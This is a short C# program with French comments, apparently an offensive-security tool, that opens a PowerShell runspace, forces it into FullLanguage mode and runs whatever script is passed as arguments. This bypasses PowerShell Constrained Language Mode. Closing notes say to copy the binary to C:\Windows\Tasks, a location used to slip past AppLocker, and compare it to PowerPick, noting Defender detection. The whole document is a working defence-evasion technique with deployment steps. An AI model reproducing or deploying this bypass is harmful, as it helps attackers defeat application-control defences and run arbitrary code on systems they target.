using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
namespace ConstrainedLanguageExample
{
internal class Program
{
static void Main(string[] args)
{
if (args.Length == 0) return;
// Création du runspace avec le mode de langage défini explicitement à FullLanguage
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
// Définir explicitement le mode FullLanguage pour le runspace
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
// Créer un objet PowerShell pour exécuter les scripts
PowerShell ps = PowerShell.Create();
ps.Runspace = runspace;
// Ajouter la commande PowerShell à exécuter
ps.AddScript(String.Join(" ", args));
// Exécuter la commande
Collection<PSObject> results = ps.Invoke();
// Afficher les résultats
foreach (PSObject obj in results)
{
Console.WriteLine(obj.ToString());
}
runspace.Close();
}
}
}
copy binary to C:\Windows\Tasks.
Same method as PowerPick but it is flagged by defender